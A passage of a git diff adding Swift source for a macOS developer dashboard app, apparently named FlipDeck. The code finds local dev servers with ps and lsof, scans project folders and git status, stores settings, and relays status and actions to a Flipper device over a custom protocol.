>= 1024 }, by: \.pid) + + var servers: [DevServer] = [] + for (pid, socketList) in grouped { + guard let record = byPID[pid], record.uid == currentUID else { continue } + let cwd = cwds[pid] + let projectID = associator.projectID(cwd: cwd, args: record.args) + // A listener counts if it's a known dev runtime, or anything (e.g. a + // compiled Go/Rust binary) running out of a project directory. + guard ProcessClassifier.isServerRuntime(record) || projectID != nil else { continue } + servers.append(DevServer( + pid: pid, + ports: socketList.map(\.port), + processName: record.executableName, + command: String(record.args.prefix(300)), + framework: ProcessClassifier.serverFramework(record), + startedAt: record.startedAt, + cwd: cwd, + projectID: projectID + )) + } + return servers.sorted { ($0.primaryPort, $0.pid) < ($1.primaryPort, $1.pid) } + } +} diff --git a/mac/Sources/FlipDeckCore/Monitoring/ProcessScanner.swift b/mac/Sources/FlipDeckCore/Monitoring/ProcessScanner.swift new file mode 100644 index 0000000..fba62fb --- /dev/null +++ b/mac/Sources/FlipDeckCore/Monitoring/ProcessScanner.swift @@ -0,0 +1,184 @@ +import Foundation +#if canImport(Glibc) +import Glibc +#elseif canImport(Darwin) +import Darwin +#endif + +public struct ProcessRecord: Hashable, Sendable { + public let pid: Int32 + public let ppid: Int32 + public let uid: UInt32 + public let startedAt: Date? + /// Full argument vector as `ps` reports it. + public let args: String + + public init(pid: Int32, ppid: Int32, uid: UInt32, startedAt: Date?, args: String) { + self.pid = pid + self.ppid = ppid + self.uid = uid + self.startedAt = startedAt + self.args = args + } + + /// Whitespace-split arguments. Paths containing spaces get split too; the + /// classifiers only look for well-known tokens, so that's acceptable. + public var tokens: [Substring] { args.split(separator: " ", omittingEmptySubsequences: true) } + + public var executableName: String { + guard let first = tokens.first else { return "" } + return String(first.split(separator: "/").last ?? first) + } +} + +/// Parses `ps -axww -o pid=,ppid=,uid=,lstart=,args=`. The same invocation +/// works on macOS and Linux (procps). +public enum PSParser { + public static let arguments = ["-axww", "-o", "pid=,ppid=,uid=,lstart=,args="] + + private static let formatter: DateFormatter = { + let formatter = DateFormatter() + formatter.locale = Locale(identifier: "en_US_POSIX") + formatter.timeZone = TimeZone.current + formatter.dateFormat = "EEE MMM d HH:mm:ss yyyy" + return formatter + }() + private static let formatterLock = NSLock() + + public static func parse(_ output: String) -> [ProcessRecord] { + var records: [ProcessRecord] = [] + records.reserveCapacity(512) + for line in output.split(separator: "\n") { + if let record = parseLine(line) { records.append(record) } + } + return records + } + + static func parseLine(_ line: Substring) -> ProcessRecord? { + // pid ppid uid DOW MON DAY HH:MM:SS YEAR args... + var fields: [Substring] = [] + var index = line.startIndex + while fields.count < 8 { + while index < line.endIndex, line[index] == " " { index = line.index(after: index) } + guard index < line.endIndex else { return nil } + let start = index + while index < line.endIndex, line[index] != " " { index = line.index(after: index) } + fields.append(line[start..`, `c`, `n`, ...). +public enum LsofParser { + public static let listenArguments = ["-nP", "-iTCP", "-sTCP:LISTEN", "-F", "pcn"] + + public static func cwdArguments(pids: [Int32]) -> [String] { + ["-a", "-d", "cwd", "-p", pids.map(String.init).joined(separator: ","), "-F", "pn"] + } + + public static func parseListeners(_ output: String) -> [Listener] { + var listeners: [Listener] = [] + var seen: Set = [] + var pid: Int32? + var command = "" + for line in output.split(separator: "\n") { + guard let tag = line.first else { continue } + let value = line.dropFirst() + switch tag { + case "p": + pid = Int32(value) + command = "" + case "c": + command = String(value) + case "n": + guard let pid, let (host, port) = splitHostPort(value) else { continue } + // Dual-stack servers show up once per address family; one row is enough. + if seen.insert("\(pid):\(port)").inserted { + listeners.append(Listener(pid: pid, command: command, host: host, port: port)) + } + default: + continue + } + } + return listeners + } + + /// "*:3000", "127.0.0.1:5173", "[::1]:8080" → (host, port) + static func splitHostPort(_ name: Substring) -> (String, Int)? { + guard let colon = name.lastIndex(of: ":"), let port = Int(name[name.index(after: colon)...]) else { return nil } + var host = String(name[.. [Int32: String] { + var result: [Int32: String] = [:] + var pid: Int32? + for line in output.split(separator: "\n") { + guard let tag = line.first else { continue } + let value = line.dropFirst() + if tag == "p" { pid = Int32(value) } + else if tag == "n", let pid { result[pid] = String(value) } + } + return result + } +} + +public struct ProcessTableSnapshot: Sendable { + public let records: [ProcessRecord] + public let listeners: [Listener] + public let cwds: [Int32: String] + public let takenAt: Date +} + +/// Runs `ps` and `lsof`. Cwd lookups are batched and only done for the few +/// processes FlipDeck actually cares about. +public struct ProcessScanner: Sendable { + let runner: CommandRunner + let psPath: String? + let lsofPath: String? + + public init(runner: CommandRunner, psPath: String? = ToolLocator.find("ps"), lsofPath: String? = ToolLocator.find("lsof")) { + self.runner = runner + self.psPath = psPath + self.lsofPath = lsofPath + } + + public var currentUID: UInt32 { UInt32(getuid()) } + + public func processTable() async throws -> [ProcessRecord] { + guard let psPath else { throw CommandError.toolNotFound("ps") } + let result = try await runner.run(psPath, PSParser.arguments, cwd: nil, timeout: 10) + guard result.succeeded else { throw CommandError.launchFailed("ps exited \(result.exitCode)") } + return PSParser.parse(result.stdout) + } + + public func listeners() async throws -> [Listener] { + guard let lsofPath else { throw CommandError.toolNotFound("lsof") } + let result = try await runner.run(lsofPath, LsofParser.listenArguments, cwd: nil, timeout: 10) + // lsof exits 1 when nothing matches; output is still authoritative. + return LsofParser.parseListeners(result.stdout) + } + + public func cwds(for pids: [Int32]) async -> [Int32: String] { + guard let lsofPath, !pids.isEmpty else { return [:] } + guard let result = try? await runner.run(lsofPath, LsofParser.cwdArguments(pids: pids), cwd: nil, timeout: 10) else { return [:] } + return LsofParser.parseCwds(result.stdout) + } +} diff --git a/mac/Sources/FlipDeckCore/Persistence/Settings.swift b/mac/Sources/FlipDeckCore/Persistence/Settings.swift new file mode 100644 index 0000000..1d4e8d7 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Persistence/Settings.swift @@ -0,0 +1,110 @@ +import Foundation + +public struct FlipDeckSettings: Codable, Equatable, Sendable { + public var projectRoots: [String] + /// Bundle id of the editor for "Open on Mac" (nil → Finder). + public var editorBundleID: String? + public var processScanInterval: TimeInterval + public var gitRefreshInterval: TimeInterval + public var discoveryInterval: TimeInterval + public var vercelInterval: TimeInterval + public var flipperEnabled: Bool + /// CoreBluetooth identifier of the paired Flipper, once known. + public var flipperPeripheralID: String? + public var flipperAlerts: Bool + public var macNotifications: Bool + public var allowDestructiveFromFlipper: Bool + + public static let suggestedRoots = ["~/Developer", "~/Projects", "~/Documents/GitHub", "~/code", "~/src"] + + public init( + projectRoots: [String] = [], + editorBundleID: String? = nil, + processScanInterval: TimeInterval = 4, + gitRefreshInterval: TimeInterval = 20, + discoveryInterval: TimeInterval = 600, + vercelInterval: TimeInterval = 30, + flipperEnabled: Bool = true, + flipperPeripheralID: String? = nil, + flipperAlerts: Bool = true, + macNotifications: Bool = true, + allowDestructiveFromFlipper: Bool = true + ) { + self.projectRoots = projectRoots + self.editorBundleID = editorBundleID + self.processScanInterval = processScanInterval + self.gitRefreshInterval = gitRefreshInterval + self.discoveryInterval = discoveryInterval + self.vercelInterval = vercelInterval + self.flipperEnabled = flipperEnabled + self.flipperPeripheralID = flipperPeripheralID + self.flipperAlerts = flipperAlerts + self.macNotifications = macNotifications + self.allowDestructiveFromFlipper = allowDestructiveFromFlipper + } + + /// First-run defaults: the conventional project folders that exist. + public static func firstRun(fileManager: FileManager = .default) -> FlipDeckSettings { + let roots = suggestedRoots.filter { fileManager.fileExists(atPath: ProjectScanner.standardize($0)) } + return FlipDeckSettings(projectRoots: roots) + } + + // Tolerant decoding: missing keys (older files) fall back to defaults. + public init(from decoder: Decoder) throws { + let c = try decoder.container(keyedBy: CodingKeys.self) + let d = FlipDeckSettings() + projectRoots = try c.decodeIfPresent([String].self, forKey: .projectRoots) ?? d.projectRoots + editorBundleID = try c.decodeIfPresent(String.self, forKey: .editorBundleID) + processScanInterval = try c.decodeIfPresent(TimeInterval.self, forKey: .processScanInterval) ?? d.processScanInterval + gitRefreshInterval = try c.decodeIfPresent(TimeInterval.self, forKey: .gitRefreshInterval) ?? d.gitRefreshInterval + discoveryInterval = try c.decodeIfPresent(TimeInterval.self, forKey: .discoveryInterval) ?? d.discoveryInterval + vercelInterval = try c.decodeIfPresent(TimeInterval.self, forKey: .vercelInterval) ?? d.vercelInterval + flipperEnabled = try c.decodeIfPresent(Bool.self, forKey: .flipperEnabled) ?? d.flipperEnabled + flipperPeripheralID = try c.decodeIfPresent(String.self, forKey: .flipperPeripheralID) + flipperAlerts = try c.decodeIfPresent(Bool.self, forKey: .flipperAlerts) ?? d.flipperAlerts + macNotifications = try c.decodeIfPresent(Bool.self, forKey: .macNotifications) ?? d.macNotifications + allowDestructiveFromFlipper = try c.decodeIfPresent(Bool.self, forKey: .allowDestructiveFromFlipper) ?? d.allowDestructiveFromFlipper + } +} + +public enum AppPaths { + /// ~/Library/Application Support/FlipDeck on macOS, ~/.local/share/FlipDeck on Linux. + public static func supportDirectory(fileManager: FileManager = .default) -> URL { + let base = fileManager.urls(for: .applicationSupportDirectory, in: .userDomainMask).first + ?? URL(fileURLWithPath: NSHomeDirectory()).appendingPathComponent(".flipdeck") + return base.appendingPathComponent("FlipDeck", isDirectory: true) + } +} + +/// JSON-file-backed settings. Never stores secrets (those go to `SecretStore`). +public final class SettingsStore: @unchecked Sendable { + private let url: URL? + private let lock = NSLock() + private var cached: FlipDeckSettings + + public init(url: URL?, fileManager: FileManager = .default) { + self.url = url + if let url, let data = try? Data(contentsOf: url), let decoded = try? JSONDecoder().decode(FlipDeckSettings.self, from: data) { + cached = decoded + } else { + cached = FlipDeckSettings.firstRun(fileManager: fileManager) + } + } + + public var settings: FlipDeckSettings { + lock.lock() + defer { lock.unlock() } + return cached + } + + public func save(_ settings: FlipDeckSettings) throws { + lock.lock() + cached = settings + lock.unlock() + guard let url else { return } + let encoder = JSONEncoder() + encoder.outputFormatting = [.prettyPrinted, .sortedKeys] + try FileManager.default.createDirectory(at: url.deletingLastPathComponent(), withIntermediateDirectories: true) + try encoder.encode(settings).write(to: url, options: .atomic) + } +} diff --git a/mac/Sources/FlipDeckCore/Projects/GitClient.swift b/mac/Sources/FlipDeckCore/Projects/GitClient.swift new file mode 100644 index 0000000..535b3a6 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Projects/GitClient.swift @@ -0,0 +1,114 @@ +import Foundation + +/// Parses `git status --porcelain=v2 --branch -z --no-renames`. +public enum GitStatusParser { + public static func parse(_ output: String) -> GitStatus { + var status = GitStatus() + for entry in output.split(separator: "\0", omittingEmptySubsequences: true) { + if entry.hasPrefix("# ") { + parseHeader(entry.dropFirst(2), into: &status) + continue + } + switch entry.first { + case "1", "2": status.changedCount += 1 + case "u": status.conflictedCount += 1 + case "?": status.untrackedCount += 1 + default: break + } + } + return status + } + + private static func parseHeader(_ header: Substring, into status: inout GitStatus) { + let parts = header.split(separator: " ", maxSplits: 1, omittingEmptySubsequences: false) + guard parts.count == 2 else { return } + let value = String(parts[1]) + switch parts[0] { + case "branch.oid": + status.headOID = value == "(initial)" ? nil : value + case "branch.head": + status.branch = value == "(detached)" ? nil : value + case "branch.upstream": + status.upstream = value + case "branch.ab": + // "+ -" + let numbers = value.split(separator: " ").compactMap { Int($0.dropFirst()) } + if numbers.count == 2 { + status.ahead = numbers[0] + status.behind = numbers[1] + } + default: + break + } + } + + /// Parses `git log -1 --format=%H%x00%ct%x00%s`. + public static func parseLastCommit(_ output: String) -> CommitInfo? { + let parts = output.trimmingCharacters(in: .newlines).split(separator: "\0", maxSplits: 2, omittingEmptySubsequences: false) + guard parts.count == 3, let seconds = TimeInterval(parts[1]) else { return nil } + return CommitInfo(oid: String(parts[0]), subject: String(parts[2]), date: Date(timeIntervalSince1970: seconds)) + } + + /// Removes credentials from remote URLs (`https://user:token@host/...`) + /// so they never reach the UI, logs, or the Flipper. + public static func sanitizeRemoteURL(_ url: String) -> String { + let trimmed = url.trimmingCharacters(in: .whitespacesAndNewlines) + guard let schemeRange = trimmed.range(of: "://") else { return trimmed } + let afterScheme = trimmed[schemeRange.upperBound...] + guard let at = afterScheme.firstIndex(of: "@") else { return trimmed } + let slash = afterScheme.firstIndex(of: "/") ?? afterScheme.endIndex + guard at < slash else { return trimmed } + return String(trimmed[.. CommandResult { + guard let gitPath else { throw GitError.gitUnavailable } + return try await runner.run(gitPath, ["-C", path] + arguments, cwd: nil, timeout: timeout) + } + + public func status(at path: String) async throws -> GitStatus { + let result = try await git(["status", "--porcelain=v2", "--branch", "-z", "--no-renames"], in: path) + guard result.succeeded else { + throw GitError.failed(result.stderr.trimmingCharacters(in: .whitespacesAndNewlines)) + } + return GitStatusParser.parse(result.stdout) + } + + public func lastCommit(at path: String) async throws -> CommitInfo? { + let result = try await git(["log", "-1", "--format=%H%x00%ct%x00%s"], in: path) + // An empty repository has no commits; that's not an error. + guard result.succeeded else { return nil } + return GitStatusParser.parseLastCommit(result.stdout) + } + + public func remoteURL(at path: String) async throws -> String? { + let result = try await git(["config", "--get", "remote.origin.url"], in: path) + guard result.succeeded else { return nil } + let url = GitStatusParser.sanitizeRemoteURL(result.stdout) + return url.isEmpty ? nil : url + } +} diff --git a/mac/Sources/FlipDeckCore/Projects/ProjectScanner.swift b/mac/Sources/FlipDeckCore/Projects/ProjectScanner.swift new file mode 100644 index 0000000..c89f1db --- /dev/null +++ b/mac/Sources/FlipDeckCore/Projects/ProjectScanner.swift @@ -0,0 +1,160 @@ +import Foundation + +/// Finds projects under the configured roots without hammering the disk: +/// bounded depth, bounded entry count, no symlink following, never descends +/// into a project once found, and skips dependency/build directories. +public struct ProjectScanner: Sendable { + public struct Limits: Sendable { + public var maxDepth: Int + public var maxProjects: Int + public var maxDirectoriesVisited: Int + + public init(maxDepth: Int = 3, maxProjects: Int = 300, maxDirectoriesVisited: Int = 20_000) { + self.maxDepth = maxDepth + self.maxProjects = maxProjects + self.maxDirectoriesVisited = maxDirectoriesVisited + } + } + + public struct Found: Hashable, Sendable { + public let path: String + public let isGitRepository: Bool + } + + static let skippedDirectoryNames: Set = [ + "node_modules", "bower_components", "vendor", "Pods", "Carthage", + "build", "dist", "out", "target", "DerivedData", ".build", + "venv", "__pycache__", "Library", "Applications", + ] + + static let manifestFiles = [ + "package.json", "Cargo.toml", "go.mod", "pyproject.toml", "Package.swift", + "Gemfile", "composer.json", "deno.json", "mix.exs", "pom.xml", "build.gradle", + ] + + public let limits: Limits + + public init(limits: Limits = Limits()) { + self.limits = limits + } + + public func scan(roots: [String]) -> [Found] { + let fileManager = FileManager.default + var found: [Found] = [] + var seen: Set = [] + var visited = 0 + + func visit(_ path: String, depth: Int) { + guard found.count < limits.maxProjects, visited < limits.maxDirectoriesVisited else { return } + visited += 1 + + if fileManager.fileExists(atPath: path + "/.git") { + if seen.insert(path).inserted { found.append(Found(path: path, isGitRepository: true)) } + return + } + // Only a root's direct children may be manifest-only (non-git) projects; + // deeper manifests are usually examples/fixtures inside something else. + if depth == 1, Self.manifestFiles.contains(where: { fileManager.fileExists(atPath: path + "/" + $0) }) { + if seen.insert(path).inserted { found.append(Found(path: path, isGitRepository: false)) } + return + } + guard depth < limits.maxDepth else { return } + + let url = URL(fileURLWithPath: path, isDirectory: true) + let keys: [URLResourceKey] = [.isDirectoryKey, .isSymbolicLinkKey] + guard let children = try? fileManager.contentsOfDirectory(at: url, includingPropertiesForKeys: keys, options: []) else { return } + for child in children.sorted(by: { $0.lastPathComponent < $1.lastPathComponent }) { + let name = child.lastPathComponent + if name.hasPrefix(".") || Self.skippedDirectoryNames.contains(name) || name.hasSuffix(".app") { continue } + guard let values = try? child.resourceValues(forKeys: Set(keys)), + values.isDirectory == true, values.isSymbolicLink != true else { continue } + visit(child.path, depth: depth + 1) + } + } + + for root in roots { + let standardized = Self.standardize(root) + var isDirectory: ObjCBool = false + guard fileManager.fileExists(atPath: standardized, isDirectory: &isDirectory), isDirectory.boolValue else { continue } + if fileManager.fileExists(atPath: standardized + "/.git") { + if seen.insert(standardized).inserted { found.append(Found(path: standardized, isGitRepository: true)) } + continue + } + visit(standardized, depth: 0) + } + return found + } + + /// Expands `~` and removes trailing slashes / `..` segments. + public static func standardize(_ path: String) -> String { + let expanded = (path as NSString).expandingTildeInPath + var standardized = URL(fileURLWithPath: expanded).standardizedFileURL.path + while standardized.count > 1 && standardized.hasSuffix("/") { standardized.removeLast() } + return standardized + } +} + +/// Best-effort framework / runtime / package-manager detection from files at +/// the project root. Only reports what the files actually say. +public enum FrameworkDetector { + public static func detect(at path: String, fileManager: FileManager = .default) -> ProjectRuntime { + func exists(_ name: String) -> Bool { fileManager.fileExists(atPath: path + "/" + name) } + var runtime = ProjectRuntime() + + if exists("package.json") { + runtime.runtime = "Node" + if exists("bun.lockb") || exists("bun.lock") { runtime.packageManager = "bun"; runtime.runtime = "Bun" } + else if exists("pnpm-lock.yaml") { runtime.packageManager = "pnpm" } + else if exists("yarn.lock") { runtime.packageManager = "yarn" } + else if exists("package-lock.json") { runtime.packageManager = "npm" } + + if let data = fileManager.contents(atPath: path + "/package.json"), + let json = try? JSONSerialization.jsonObject(with: data) as? [String: Any] { + var deps: [String: Any] = [:] + for key in ["dependencies", "devDependencies"] { + if let section = json[key] as? [String: Any] { deps.merge(section) { a, _ in a } } + } + runtime.framework = nodeFramework(dependencies: Set(deps.keys)) + if runtime.packageManager == nil, let declared = json["packageManager"] as? String { + runtime.packageManager = declared.split(separator: "@").first.map(String.init) + } + } + } else if exists("deno.json") || exists("deno.jsonc") { + runtime.runtime = "Deno" + } else if exists("Cargo.toml") { + runtime.runtime = "Rust" + runtime.packageManager = "cargo" + } else if exists("go.mod") { + runtime.runtime = "Go" + } else if exists("Package.swift") { + runtime.runtime = "Swift" + runtime.packageManager = "swiftpm" + } else if exists("pyproject.toml") || exists("requirements.txt") || exists("setup.py") { + runtime.runtime = "Python" + if exists("uv.lock") { runtime.packageManager = "uv" } + else if exists("poetry.lock") { runtime.packageManager = "poetry" } + else if exists("requirements.txt") { runtime.packageManager = "pip" } + if exists("manage.py") { runtime.framework = "Django" } + } else if exists("Gemfile") { + runtime.runtime = "Ruby" + runtime.packageManager = "bundler" + if exists("config/application.rb") { runtime.framework = "Rails" } + } else if exists("composer.json") { + runtime.runtime = "PHP" + runtime.packageManager = "composer" + if exists("artisan") { runtime.framework = "Laravel" } + } + return runtime + } + + static func nodeFramework(dependencies: Set) -> String? { + let ordered: [(String, String)] = [ + ("next", "Next.js"), ("@remix-run/react", "Remix"), ("@react-router/dev", "React Router"), + ("nuxt", "Nuxt"), ("@sveltejs/kit", "SvelteKit"), ("astro", "Astro"), + ("gatsby", "Gatsby"), ("expo", "Expo"), ("@angular/core", "Angular"), + ("@nestjs/core", "NestJS"), ("vite", "Vite"), ("react-scripts", "Create React App"), + ("electron", "Electron"), ("express", "Express"), ("fastify", "Fastify"), ("hono", "Hono"), + ] + return ordered.first { dependencies.contains($0.0) }?.1 + } +} diff --git a/mac/Sources/FlipDeckCore/Protocol/FlipperSession.swift b/mac/Sources/FlipDeckCore/Protocol/FlipperSession.swift new file mode 100644 index 0000000..fd122c4 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Protocol/FlipperSession.swift @@ -0,0 +1,340 @@ +import Foundation + +public enum FlipperLinkState: Equatable, Sendable { + case disconnected + case handshaking + case ready(appVersion: String) + case incompatible(peerProtocol: Int) +} + +public struct FlipperLinkStatus: Equatable, Sendable { + public var transport: TransportStatus = .idle + public var link: FlipperLinkState = .disconnected + public var peerName: String? + public var lastFrameAt: Date? + public var committedGeneration: UInt32 = 0 + public var framesReceived = 0 + public var framesDropped = 0 + public var actionsHandled = 0 + + public init() {} +} + +/// Mac side of FDP/1 (docs/protocol.md): handshake, snapshots, heartbeats, +/// alerts, and action requests, over any `FlipperTransport`. +public actor FlipperSession { + public typealias ActionHandler = @Sendable (FDAction) async -> ActionResult + public typealias SeenHandler = @Sendable (_ eventID: String) async -> Void + public typealias StatusHandler = @Sendable (FlipperLinkStatus) -> Void + + static let heartbeatInterval: TimeInterval = 5 + static let helloRetryInterval: TimeInterval = 3 + static let minSnapshotInterval: TimeInterval = 1 + static let alertReplayWindow: TimeInterval = 30 * 60 + static let maxQueuedAlerts = 3 + static let resultCacheSize = 32 + + let transport: FlipperTransport + let hostName: String + let log: Logger + let now: @Sendable () -> Date + + private var actionHandler: ActionHandler? + private var seenHandler: SeenHandler? + private var statusHandler: StatusHandler? + + public private(set) var status = FlipperLinkStatus() + private var decoder = FrameDecoder() + private var sessionID = "" + private var maxChunk = 20 + private var eventsTask: Task? + + // Snapshot bookkeeping. + private var latest = FlipperSnapshot.empty + private var sentRecords: [Frame]? + private var generation: UInt32 = 0 + private var lastSnapshotAt: Date = .distantPast + private var lastResyncAt: Date = .distantPast + private var sentActions: [String: FDAction] = [:] + private var previousActions: [String: FDAction] = [:] + private var sentEventOwners: [String: String] = [:] + + // Live frames. + private var machineFrame: Frame? + private var sentMachineFrame: Frame? + private var lastPingAt: Date = .distantPast + private var lastHelloAt: Date = .distantPast + + // Recent alert-worthy events: (event, owner id). Replayed after every + // handshake (the Flipper de-duplicates by id) until seen or expired. + private var recentAlerts: [(FDEvent, String)] = [] + + // REQ de-duplication, keyed by Flipper instance nonce + request id. + private var peerNonce = "" + private var resultCache: [(key: UInt32, result: ActionResult)] = [] + private var inFlight: Set = [] + + public init(transport: FlipperTransport, hostName: String, log: Logger, now: @escaping @Sendable () -> Date = { Date() }) { + self.transport = transport + self.hostName = hostName + self.log = log + self.now = now + } + + public func setHandlers(action: ActionHandler?, seen: SeenHandler?, status: StatusHandler?) { + actionHandler = action + seenHandler = seen + statusHandler = status + } + + public func start() { + guard eventsTask == nil else { return } + let stream = transport.events() + eventsTask = Task { [weak self] in + for await event in stream { + await self?.handle(event) + } + } + transport.start() + } + + public func stop() { + if case .ready = status.link { send(Frame("BYE", ["quit"])) } + transport.stop() + eventsTask?.cancel() + eventsTask = nil + } + + // MARK: Engine inputs + + public func update(snapshot: FlipperSnapshot, machine: MachineStatus?) { + latest = snapshot + machineFrame = machine.map(FlipperSnapshotBuilder.machineFrame) + tick() + } + + /// Sends an alert for `event` now if the link is ready; it is also kept + /// for replay on the next handshake while recent and unseen. + public func alert(_ event: FDEvent) { + let owner = latest.eventOwners[event.id] ?? FlipperIDs.event(event.id) + recentAlerts.removeAll { $0.0.id == event.id } + recentAlerts.append((event, owner)) + if recentAlerts.count > Self.maxQueuedAlerts { recentAlerts.removeFirst(recentAlerts.count - Self.maxQueuedAlerts) } + if case .ready = status.link { sendAlert(event, owner: owner) } + } + + /// Call about once a second: heartbeats and coalesced snapshot sends. + public func tick() { + guard case .ready = status.link else { + let sinceHello = now().timeIntervalSince(lastHelloAt) + if status.link == .handshaking, sinceHello >= Self.helloRetryInterval { + // The first HELLO can be lost (e.g. glued to a partial frame + // left over from a previous connection); keep asking. + sendHello() + } else if isIncompatible, sinceHello >= Self.heartbeatInterval { + // Keep announcing ourselves so the Flipper can show both versions. + sendHello() + } + return + } + let time = now() + if latest.records != sentRecords, time.timeIntervalSince(lastSnapshotAt) >= Self.minSnapshotInterval { + sendSnapshot() + } + if let machineFrame, machineFrame != sentMachineFrame { + send(machineFrame) + sentMachineFrame = machineFrame + } + if time.timeIntervalSince(lastPingAt) >= Self.heartbeatInterval { + send(Frame("PING", [String(generation), String(Int(time.timeIntervalSince1970))])) + lastPingAt = time + } + } + + private var isIncompatible: Bool { + if case .incompatible = status.link { return true } + return false + } + + // MARK: Transport events + + func handle(_ event: TransportEvent) async { + switch event { + case .status(let transportStatus): + status.transport = transportStatus + publishStatus() + case .connected(let peerName, let chunk): + decoder.reset() + status.peerName = peerName + status.link = .handshaking + status.transport = .connected(peerName) + maxChunk = max(20, chunk) + sentRecords = nil + sentMachineFrame = nil + generation = 0 + sessionID = String(format: "%08x", UInt32.random(in: 0...UInt32.max)) + sendHello() + publishStatus() + case .disconnected(let reason): + if let reason { log.info("Flipper disconnected: \(reason)") } + status.link = .disconnected + inFlight.removeAll() + publishStatus() + case .received(let data): + for result in decoder.feed(data) { + switch result { + case .success(let frame): + status.framesReceived += 1 + status.lastFrameAt = now() + await handle(frame) + case .failure(let error): + status.framesDropped += 1 + log.warning("Dropped malformed frame from Flipper: \(error)") + } + } + publishStatus() + } + } + + func handle(_ frame: Frame) async { + switch frame.type { + case "HI": + guard let proto = frame[0].flatMap(Int.init) else { return } + guard proto == FDP.protocolVersion else { + log.warning("Flipper speaks FDP/\(proto); this Mac speaks FDP/\(FDP.protocolVersion)") + status.link = .incompatible(peerProtocol: proto) + return + } + let nonce = frame[3] ?? "" + if nonce != peerNonce { + peerNonce = nonce + resultCache.removeAll() + inFlight.removeAll() + } + status.link = .ready(appVersion: frame[1] ?? "?") + status.committedGeneration = frame[2].flatMap(UInt32.init) ?? 0 + sentRecords = nil + lastSnapshotAt = .distantPast + tick() + replayAlerts() + case "PONG": + guard case .ready = status.link, let gen = frame[0].flatMap(UInt32.init) else { return } + status.committedGeneration = gen + if gen != generation, sentRecords != nil { requestResync() } + case "SYNC": + guard case .ready = status.link else { return } + requestResync() + case "REQ": + guard case .ready = status.link, let req = frame[0].flatMap(UInt32.init), let actionID = frame[1] else { return } + await handleRequest(req: req, actionID: actionID) + case "SEEN": + guard let owner = frame[0] else { return } + let eventIDs = Set(sentEventOwners.filter { $0.value == owner }.map(\.key)) + recentAlerts.removeAll { $0.1 == owner } + for eventID in eventIDs { await seenHandler?(eventID) } + default: + break // Unknown types are ignored for forward compatibility. + } + } + + private func requestResync() { + let time = now() + // Don't let a Flipper that can't commit drive a resend storm. + guard time.timeIntervalSince(lastResyncAt) >= 2 else { return } + lastResyncAt = time + sentRecords = nil + lastSnapshotAt = .distantPast + tick() + } + + private func handleRequest(req: UInt32, actionID: String) async { + if let cached = resultCache.first(where: { $0.key == req }) { + sendResult(req: req, cached.result) + return + } + guard !inFlight.contains(req) else { return } + guard let action = sentActions[actionID] ?? previousActions[actionID] else { + finish(req: req, .failure("Action expired; refresh")) + return + } + guard let actionHandler else { + finish(req: req, .failure("Mac is not ready")) + return + } + inFlight.insert(req) + let result = await actionHandler(action) + inFlight.remove(req) + status.actionsHandled += 1 + finish(req: req, result) + } + + private func finish(req: UInt32, _ result: ActionResult) { + resultCache.append((req, result)) + if resultCache.count > Self.resultCacheSize { resultCache.removeFirst(resultCache.count - Self.resultCacheSize) } + sendResult(req: req, result) + } + + private func sendResult(req: UInt32, _ result: ActionResult) { + send(Frame("RES", [String(req), result.ok ? "1" : "0", FrameCodec.sanitize(result.message, maxLength: FlipperLimits.resultMessage)])) + } + + // MARK: Sending + + private func sendHello() { + lastHelloAt = now() + send(Frame("HELLO", [ + String(FDP.protocolVersion), sessionID, FrameCodec.sanitize(hostName, maxLength: FlipperLimits.host), + String(maxChunk), String(Int(now().timeIntervalSince1970)), + ])) + } + + private func sendSnapshot() { + generation &+= 1 + if generation == 0 { generation = 1 } + var data = FrameCodec.encode(Frame("SNAP", [String(generation), String(latest.records.count)])) + for record in latest.records { data.append(FrameCodec.encode(record)) } + data.append(FrameCodec.encode(Frame("END", [String(generation)]))) + // One write keeps the snapshot contiguous on the wire. + transport.send(data) + if sentRecords != latest.records { + previousActions = sentActions + } + sentActions = latest.actions + sentEventOwners.merge(latest.eventOwners) { _, new in new } + if sentEventOwners.count > 256 { sentEventOwners = latest.eventOwners } + sentRecords = latest.records + lastSnapshotAt = now() + } + + private func replayAlerts() { + let cutoff = now().addingTimeInterval(-Self.alertReplayWindow) + recentAlerts.removeAll { $0.0.timestamp < cutoff || $0.0.acknowledged } + for (event, owner) in recentAlerts { sendAlert(event, owner: owner) } + } + + private func sendAlert(_ event: FDEvent, owner: String) { + // The alert's actions live in the snapshot; make sure the Flipper has + // the latest one first, even if that skips the snapshot rate limit. + if latest.records != sentRecords { sendSnapshot() } + sentEventOwners[event.id] = owner + send(Frame("ALR", [ + owner, event.severity.wireCode, + FrameCodec.sanitize(event.projectName ?? "", maxLength: FlipperLimits.name), + FrameCodec.sanitize(event.title, maxLength: FlipperLimits.title), + FrameCodec.sanitize(event.message, maxLength: FlipperLimits.message), + ])) + } + + /// The Mac user acknowledged an event; stop replaying its alert. + public func acknowledged(eventID: String) { + recentAlerts.removeAll { $0.0.id == eventID } + } + + private func send(_ frame: Frame) { + transport.send(FrameCodec.encode(frame)) + } + + private func publishStatus() { + statusHandler?(status) + } +} diff --git a/mac/Sources/FlipDeckCore/Protocol/FlipperSnapshot.swift b/mac/Sources/FlipDeckCore/Protocol/FlipperSnapshot.swift new file mode 100644 index 0000000..de469a1 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Protocol/FlipperSnapshot.swift @@ -0,0 +1,185 @@ +import Foundation + +/// Record-count and field-length limits shared with the Flipper app +/// (flipper/fd_state.h). Changing any of these is a protocol change. +public enum FlipperLimits { + public static let projects = 12 + public static let services = 8 + public static let agents = 6 + public static let attention = 6 + public static let events = 10 + public static let actions = 64 + + public static let id = 7 + public static let name = 20 + public static let branch = 24 + public static let host = 20 + public static let provider = 12 + public static let title = 40 + public static let eventTitle = 48 + public static let message = 80 + public static let label = 20 + public static let resultMessage = 60 +} + +public struct FlipperSnapshot: Equatable, Sendable { + /// Records between SNAP and END, in order. + public let records: [Frame] + /// Wire action id → action, for resolving REQ frames. + public let actions: [String: FDAction] + /// Event id → owner id used on the wire (for ALR and SEEN). + public let eventOwners: [String: String] + + public static let empty = FlipperSnapshot(records: [], actions: [:], eventOwners: [:]) +} + +public enum FlipperIDs { + public static func project(_ project: Project) -> String { StableID.short("p", project.id) } + public static func server(_ server: DevServer) -> String { + StableID.short("s", "\(server.pid):\(Int(server.startedAt?.timeIntervalSince1970 ?? 0))") + } + public static func agent(_ agent: AgentSession) -> String { StableID.short("g", agent.id) } + public static func attention(_ item: AttentionItem) -> String { 